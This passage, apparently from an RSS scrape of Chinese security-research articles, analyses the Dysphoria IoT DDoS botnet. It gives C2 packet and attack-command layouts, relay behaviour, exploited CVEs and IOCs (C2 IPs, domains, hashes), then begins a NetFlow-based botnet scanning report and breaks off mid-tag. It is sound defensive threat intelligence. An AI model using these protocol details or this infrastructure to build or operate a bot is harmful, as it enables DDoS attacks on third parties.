leaf="">上线包 (Login) 与 心跳包 (Heartbeat) 结构</span></h4><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">+-----------------------------------------------------------------------+</span><span leaf=""><br/></span><span leaf="">|                       Dysphoria 通信数据包结构                         |</span><span leaf=""><br/></span><span leaf="">+-----------------------------------------------------------------------+</span><span leaf=""><br/></span><span leaf="">| Login Packet (78 Bytes):                                              |</span><span leaf=""><br/></span><span leaf="">| [0----1] [2---------13] [14----15] [16-----------15+len] [剩余填充]    |</span><span leaf=""><br/></span><span leaf="">| Type(2B)   Magic(12B)    Length     Value (动态长度)      Padding      |</span><span leaf=""><br/></span><span leaf="">+-----------------------------------------------------------------------+</span><span leaf=""><br/></span><span leaf="">| Heartbeat Packet (78 Bytes):                                          |</span><span leaf=""><br/></span><span leaf="">| [0----1] [2---------13] [14--------------------------------------77]  |</span><span leaf=""><br/></span><span leaf="">| Type(2B)   Magic(12B)                    Padding                      |</span><span leaf=""><br/></span><span leaf="">+-----------------------------------------------------------------------+</span></code></pre><h4 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">DDoS 攻击指令结构 (Attack Command)</span></h4><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">攻击指令采用了多流嵌套结构，其中也包含对参数控制的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">flag</span></code><span leaf=""> 结构体描述：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">+---------------------------------------------------------------------------------------+</span><span leaf=""><br/></span><span leaf="">| Duration | AtkType | TargetCnt | targets[TargetCnt] | FlagCnt | flags[FlagCnt]        |</span><span leaf=""><br/></span><span leaf="">|  (2B)    |  (1B)   |   (1B)    |  (动态嵌套结构)      |   (1B)  |  (动态嵌套结构)       |</span><span leaf=""><br/></span><span leaf="">+---------------------------------------------------------------------------------------+</span><span leaf=""><br/></span><span leaf="">其中：</span><span leaf=""><br/></span><span leaf="">1. targets 结构体：</span><span leaf=""><br/></span><span leaf="">+-----------------------+</span><span leaf=""><br/></span><span leaf="">| IP (4B) | Netmask (1B)|</span><span leaf=""><br/></span><span leaf="">+-----------------------+</span><span leaf=""><br/></span><span leaf="">2. flag 结构体：</span><span leaf=""><br/></span><span leaf="">+------------------------------------------+</span><span leaf=""><br/></span><span leaf="">| Option (1B) | Length (2B) | Value [Len]  |</span><span leaf=""><br/></span><span leaf="">+------------------------------------------+</span><span leaf=""><br/></span></code></pre><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;"><span leaf="">三、 独立的“中继/代理样本”样本分析</span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">6 月下旬出现的变种功能十分纯粹：</span><strong style="font-weight: bold;color: black;"><span leaf="">它剥离了所有的 DDoS 攻击模块，仅负责将被感染的内网肉鸡彻底转变为黑产集团的隐蔽网络中继站。</span></strong></p><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">1. 自动化 UPnP 内网穿透</span></h3><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">由于大部分物联网设备或个人 PC 处于 NAT 后方，外部无法直接连接。该中继样本启动后，会在局域网内广播寻找支持 </span><strong style="font-weight: bold;color: black;"><span leaf="">UPnP (通用即插即用)</span></strong><span leaf=""> 的网关设备，随后强制调用 WAN 连接服务，在路由器上</span><strong style="font-weight: bold;color: black;"><span leaf="">瞬间流式映射 155 个端口</span></strong><span leaf="">。</span></p><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">2. 双向非阻塞高效中继 (Epoll)</span></h3><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">肉鸡在本机成功监听这 155 个端口。一旦有外部流量（如来自攻击者或 DDoS 样本的前端请求）接入肉鸡的某个端口 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">bot:P</span></code><span leaf="">，该中继样本会：</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">立即向真正的远程 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">c2:P</span></code><span leaf="">（相同端口）发起出站连接。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">在底层利用 Linux 高性能的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">epoll</span></code><span leaf=""> 异步非阻塞 I/O 驱动，将两端连接进行绑定，实施</span><strong style="font-weight: bold;color: black;"><span leaf="">双向非阻塞数据透明中继</span></strong><span leaf="">。</span></p></li></ol><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">3. 中继状态上报</span></h3><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">中继节点每隔 4 秒以上，会向心跳收集域名 </span><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">login.trees4sale.net:9000</span></code></strong><span leaf=""> 发送一次 JSON 格式的健康状态报告，汇报自身的可用性：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">{</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;status&#34;</span></span><span leaf="">: </span><span style="color: #D69D85;line-height: 26px;"><span leaf="">&#34;ONLINE&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;connections&#34;</span></span><span leaf="">: </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">42</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #9CDCFE;line-height: 26px;"><span leaf="">&#34;bandwidth_mbps&#34;</span></span><span leaf="">: </span><span style="color: #B8D7A3;line-height: 26px;"><span leaf="">12.5</span></span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span></code></pre><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;"><span leaf="">四、样本传播</span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Dysphoria 样本主要通过 Telnet/SSH 弱口令爆破 以及 已知 IoT 设备远程代码执行（RCE）漏洞 进行传播，攻击目标涵盖路由器、网关、摄像头、及其他嵌入式 Linux 设备。已监测到其利用的部分漏洞包括：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">CNVD-2021-79445</span><span leaf=""><br/></span><span leaf="">CVE-2013-3307</span><span leaf=""><br/></span><span leaf="">CVE-2016-20016</span><span leaf=""><br/></span><span leaf="">CVE-2017-17215</span><span leaf=""><br/></span><span leaf="">CVE-2017-5259</span><span leaf=""><br/></span><span leaf="">CVE-2025-9528</span><span leaf=""><br/></span><span leaf="">CVE-2018-14558</span><span leaf=""><br/></span><span leaf="">CVE-2020-25499</span><span leaf=""><br/></span><span leaf="">CVE-2020-8515</span><span leaf=""><br/></span><span leaf="">CVE-2025-28137</span><span leaf=""><br/></span><span leaf="">CVE-2025-34152</span><span leaf=""><br/></span><span leaf="">CVE-2025-55182</span><span leaf=""><br/></span><span leaf="">CVE-2022-35733</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">其中既包含长期被僵尸网络广泛利用的经典 IoT 漏洞（如 CVE-2017-17215、CVE-2020-8515 等），也包含近年来披露的新漏洞，表明 Dysphoria 仍在持续维护和更新其传播能力，以提高对不同品牌和型号 IoT 设备的覆盖范围。与此同时，Telnet/SSH 弱口令攻击仍然是其最主要、最稳定的感染方式，与漏洞利用共同构成了其主要传播渠道。</span></p><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;"><span leaf="">五、感染范围与规模</span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">通过监测分析发现，2026年7月14日至20日期间，Dysphoria僵尸网络在我国境内已确认的活跃“肉鸡”规模达4401台，境内日上线肉鸡数量最高达1801台，肉鸡C2日访问量最高达74万次。因其使用被控肉鸡作为C2中继，可以观测到其境外肉鸡规模更大，日上线境外肉鸡数最高达23.9万台。境内日上线肉鸡数量情况如下图所示：<img data-aistatus="1" alt="640.png" class="rich_pages wxw-img" data-ratio="0.6028513238289206" data-type="png" data-w="491" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100001243" src="https://wechat2rss.xlab.app/img-proxy/?k=bd946be6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yfSVp8L14OHE1icUkcxFGz2vMEoTpibicMvTyLHZdW2Dq85icyfdk1iblhBiaV5ymxcibHneMMcMByxu2MECXOJlpoMMKw8eAYD9EPibs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">从社交媒体泄露的控制端（C2）后台截图来看，Dysphoria 控制的 Bot 规模长期维持在 20 万台左右。结合我们持续监测的数据与后台显示的在线规模基本吻合，说明该截图具有较高的可信度，也侧面反映出 Dysphoria 具备较大的僵尸网络控制能力。</span></p><figure data-tool="markdown.com.cn编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" alt="2026-07-10 15.48.14.jpg" class="rich_pages wxw-img" data-ratio="0.6225895316804407" data-type="jpeg" data-w="726" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100001244" src="https://wechat2rss.xlab.app/img-proxy/?k=47294f30&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8xO1IaM4MESjAaTrHu1xricYGrBdm1arhERPAtIYXfWawJlIBxZt61FUko3hzmDXvycANra7EUbVickKsialhcppSfZy9wyKfbmRI%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">此外，Dysphoria 在其公开推广页面中宣称最高可提供约 4 Tbps 的 DDoS 攻击能力，并提供不同规格的攻击服务套餐，价格根据使用时长、带宽等配置有所差异，从几十美元到数百美元不等，体现出其攻击服务已具备较为成熟的商业化运营模式。</span></p><figure data-tool="markdown.com.cn编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" alt="dysphorianetwork.st-2026-07-10 15.54.10.png" class="rich_pages wxw-img" data-ratio="1.237037037037037" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100001245" src="https://wechat2rss.xlab.app/img-proxy/?k=44d3673f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wNRISJCeEBhKqfRXLHWbWLHYQ2y3p2XGdkNNdVic9Y63xq1Mibyahm0RWfampHBKWbYgl6ZPXCkhXuC2KZBiaxxN1rgBv3libJcZM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;"><span leaf="">六、DDoS攻击</span></h2><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">DDoS攻击方面，Dysphoria 的攻击目标遍布全球，覆盖互联网服务、游戏等多个行业，受害目标具有分布广、行业覆盖面大的特点。从持续监测情况来看，其攻击活动几乎每天都有发生，整体保持较高活跃度。攻击目标趋势如下：</span></p><figure data-tool="markdown.com.cn编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" alt="截屏2026-07-16 15.45.46.png" class="rich_pages wxw-img" data-ratio="0.4635352286773795" data-type="png" data-w="809" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100001242" src="https://wechat2rss.xlab.app/img-proxy/?k=ed26d7ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yxc5t6dqic1jHOKdG9256e8drD7rJibsYH0AxIONXHnOkNbABdpV7gWmRd5rZjGOPlAGibzvYFpCcEhk13dYick5nwgzQofDeibiacQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h2 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 22px;"><span leaf="">七、 威胁情报 (IOCs)</span></h2><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">1. Download/C2 服务器 (包含特异性 FTP Banner)</span></h3><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">Banner 特征: &#34;220 cool ftp server hosted on brian krebs&#39; giant ass 4head&#34;</span><span leaf=""><br/></span><span leaf="">217.60.195.160</span><span leaf=""><br/></span><span leaf="">76.164.203.171</span><span leaf=""><br/></span><span leaf="">92.42.100.131</span><span leaf=""><br/></span><span leaf="">78.153.155.152</span></code></pre><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">2. 关键基础设施域名</span></h3><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">i.peer4you.net</span><span leaf=""><br/></span><span leaf="">o.peer4you.net</span><span leaf=""><br/></span><span leaf="">login.trees4sale.net</span><span leaf=""><br/></span><span leaf="">www.trees4sale.net</span><span leaf=""><br/></span><span leaf="">c2.saintpetersburgresident.ru</span><span leaf=""><br/></span><span leaf="">peer.saintpetersburgresident.ru</span><span leaf=""><br/></span><span leaf="">kieron.androiddebugbridge.su</span><span leaf=""><br/></span><span leaf="">dysphoria.androiddebugbridge.su</span><span leaf=""><br/></span><span leaf="">telaviv.androiddebugbridge.su</span><span leaf=""><br/></span><span leaf="">jerusalem.androiddebugbridge.su</span><span leaf=""><br/></span><span leaf="">node.androiddebugbridge.su</span><span leaf=""><br/></span><span leaf="">wow.androiddebugbridge.su</span></code></pre><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">3. 区块链域名</span></h3><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">m3rnbvs5d.eth</span><span leaf=""><br/></span><span leaf="">burrberry.eth</span><span leaf=""><br/></span><span leaf="">ukranianhorseriding.eth</span><span leaf=""><br/></span><span leaf="">24carnforth2merseyside.sol</span></code></pre><h3 data-tool="markdown.com.cn编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4. 样本哈希 (SHA1)</span></h3><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">c1bedea261f325441fb9a75c50b11d0c8fb01ac6</span><span leaf=""><br/></span><span leaf="">a3b9575897c16cbf6afe3af1aa8b55171ea6edf9</span><span leaf=""><br/></span><span leaf="">8db6c78533c176f13b61405cdc3f8fad703325f1</span><span leaf=""><br/></span><span leaf="">9c1716d770ea69e8e1418d96d52222396ecb4362</span><span leaf=""><br/></span><span leaf="">73651c02b29f1c07e3177e86c967fc45e9f30f0f</span><span leaf=""><br/></span><span leaf="">955ff909972958098f0d4a06bcc4d6b9eea90449</span><span leaf=""><br/></span><span leaf="">25081bdec05f64eb4f313420c82d8de957e30026</span><span leaf=""><br/></span><span leaf="">dcea71b9ab9de8efca301de9e2f7bf11c7132364</span><span leaf=""><br/></span><span leaf="">df510f6f69a5c149c216c7b3accc4f460d8cf363</span><span leaf=""><br/></span><span leaf="">b0782a9d6eef2ce02f734a6e5e1d8e0f9a2b65be</span><span leaf=""><br/></span><span leaf="">e7e1694162639ed587625432a79cfaa49f560d11</span><span leaf=""><br/></span><span leaf="">b7faa44ab0772047a8581bbfdd9c561e28fc66de</span></code></pre></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/dysphoria/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=40d0f8a9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484897%26idx%3D1%26sn%3D0b7cc7c0989036bb73ee4b9f01c2f0a4">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 Jul 2026 17:42:00 +0800</pubDate>
    </item>
    <item>
      <title>CU-Xlab大网僵尸网络分布式传播活动分析报告</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484806&amp;idx=1&amp;sn=1c1c1bcbbb21e315b2e7d9030baf498d</link>
      <description>中国联通与奇安信共同成立的CU-Xlab联合实验室共同发布近年来，公网暴露资产规模与物联网终端数量持续扩张，僵</description>
      <content:encoded><![CDATA[<p>原创 <span>CU-XLAB</span> <span>2026-07-20 11:49</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6834d6d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8wic81mlzVaNHbLleBxpSA3HFpCAOFKeLZpgbhy0LOicxiaTibpaISTZJHFokgfX7NrrFzc6xicQHI1dDNpE9GiaoQPNib7JXpkCSehick%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p data-layout-id="0" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf=""><span textstyle="" style="font-weight: bold;">中国联通与奇安信共同成立的CU-Xlab联合实验室共同发布</span></span></p><p data-layout-id="1" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">近年来，公网暴露资产规模与物联网终端数量持续扩张，僵尸网络（Botnet）攻击活动活跃度显著上升。攻击者依托自动化扫描平台、分布式代理节点及恶意控制基础设施，对公网暴露资产实施低频慢扫、服务探测、弱口令爆破、漏洞利用等行为，进而构建大规模僵尸网络，用于恶意传播、远程控制、代理转发及后续攻击。相较于传统高频扫描，当前攻击更强调隐蔽性与持续性，普遍采用 “低频触发、长周期探测、分布式巡航” 模式，规避基于连接速率与阈值的传统安全检测，整体呈现自动化、协同化、长期化特征。</span></p><p data-layout-id="2" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">本报告基于联通大网NetFlow流量日志，对某省公网范围内近阶段僵尸网络相关攻击活动进行持续监测与关联分析，重点围绕攻击特征、传播链路、C2控制行为、攻击源分布、受害资产暴露情况及攻击趋势等维度开展研究。通过对海量网络流量行为进行关联建模与分析，发现当前攻击活动整体呈现“低频慢扫侦查—隐蔽C2回连—自动化横向传播”的典型Botnet传播模式，部分主机已形成完整的“被攻击—失陷控制—对外传播”闭环链路，表明公网资产正持续面临自动化僵尸网络感染与扩散风险。相关攻击活动不仅涉及Telnet、SSH、SMB、数据库、代理及IoT管理接口等高危服务，还表现出明显的资产测绘、弱口令传播、代理扩张及持续控制等特征，具有较高安全威胁与持续渗透风险。</span></p><h1 data-layout-id="3" style="font-size: 20px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;text-align: center;"><span leaf="">1、僵尸网络攻击特征</span></h1><p data-layout-id="4" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">基于大网netflow日志分析发现，攻击行为整体呈现“低频慢扫 + 持续巡航探测”的特征。攻击源通过降低单时间窗口内的访问频率，对目标资产开展长期、间歇式的隐蔽服务探测，以规避基于连接速率和阈值的传统扫描检测机制。同时，部分攻击IP在不同时间段持续对相同资产发起重复访问，并伴随多端口轮询与服务识别行为，表现出明显的“巡航式”探测特征。该类行为通常用于持续跟踪目标暴露面变化，在发现开放服务后进一步实施弱口令爆破、漏洞利用或Botnet传播感染，是当前僵尸网络常见的隐匿化前置侦察手段。</span></p><h2 style="text-align: left;font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;" data-layout-id="5"><span leaf="">1.1特征1：持续全网“巡航式”探测攻击</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="6"><span leaf=""><img alt="ChatGPT Image 2026年6月26日 16_42_01" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001117" data-ratio="0.8796223446105429" data-type="png" data-w="1271" height="364" width="414" style="margin-top: 17px; margin-bottom: 17px; float: none; pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=c02ca3bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xicr35icJX93cgUgQOicf1Sg7eWZvdicJToOYClzYunxsyJzk3hwZdvOMnnhpWfTxI25VsARpuibYEtOLjganRbSD6xWrdjOjgsF2A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-layout-id="7" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">监测数据显示，2026年5月10日 —5月17日，主机 116.153.43.* 持续遭受巡航式探测攻击。攻击流量集中于 80 端口，攻击源以境外 IP 为主，呈现显著同网段聚集特征（如 45.13.190.、45.133.39.），多地址跨时段定向访问同一目标，表明攻击具备组织化、自动化属性。攻击整体呈现低频、长周期、单次探测的隐蔽扫描特征：多数攻击 IP 仅发起1次访问，通过降低单位时间连接频次，规避传统高频扫描检测机制。该行为符合僵尸网络、自动化扫描平台及恶意资产测绘系统的隐匿化前置侦察特征 —— 攻击者通过低可见度长期探测识别公网暴露资产，后续进一步实施漏洞利用、弱口令爆破或恶意载荷投递。</span></p><h2 data-layout-id="8" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">1.2 特征2：慢扫探测攻击</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="9"><span leaf=""><img alt="ChatGPT Image 2026年6月26日 16_46_59" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001115" data-ratio="0.8001573564122738" data-type="png" data-w="1271" height="331" width="414" style="margin-top: 17px; margin-bottom: 17px; float: none; pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=55c355d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xgeAGRCIZTicE067Vc1qxqsMRcUBFaLmm1ibrC6t18LUUwhHYE0YYVZIBNqA5YUyRfCfv1hciahteQLt7v4QEecSibf7E23dOYxibI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-layout-id="10" style="font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;"><span leaf="">2026 年5月10日 —5月17日，主机 113.204.227.* 持续遭受低频慢扫攻击，呈现长期持续、阶段性活跃特征。攻击者连续多日对目标开展间歇式服务探测，单日攻击次数、探测端口数峰值均为 30，且多数日期两项数据基本一致，表明攻击以多端口服务识别为核心目的。该攻击无传统高速扫描的大流量、高并发特征，而是通过降低单时间窗口访问频次、拉长探测周期，对目标开放服务实施隐蔽侦查，规避传统速率阈值类检测。此类行为属于僵尸网络传播前的前置侦察环节，后续易触发弱口令爆破、漏洞利用、载荷投递及 Botnet 感染扩散，隐蔽性与持续渗透风险较高。</span></p><h1 data-layout-id="11" style="font-size: 20px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;text-align: center;"><span leaf="">2、僵尸网络传播链路</span></h1><h2 data-layout-id="12" style="font-size: 17px;font-weight: 400;color: #2B77BF;line-height: 2.0;margin-bottom: 12px;"><span leaf="">2.1传播链路案例1</span></h2><p style="text-align: center;font-size: 17px;font-weight: 300;color: rgba(0,0,0,0.9);line-height: 2.0;margin-bottom: 24px;" data-layout-id="13"><span leaf=""><img alt="39c5bd8551a0fd06173cad240c7ef234" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001116" data-ratio="0.6679779701022817" data-type="png" data-w="1271" height="277" width="415" style="margin-top: 17px; margin-bottom: 17px; float: none; pointer-events: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=c9af8cf9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yh1nff73iaYQJZQGNBicicTthJQKduvmm0DwUPuz0ibY341CCUYUp5cdKZxXWQUaCic8q5AQe6T77OeibzhZicbqD0BLfI3icjkwAaicCs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p data-layout-id="14" style="font-size: 17px;font-weight: 300;color: 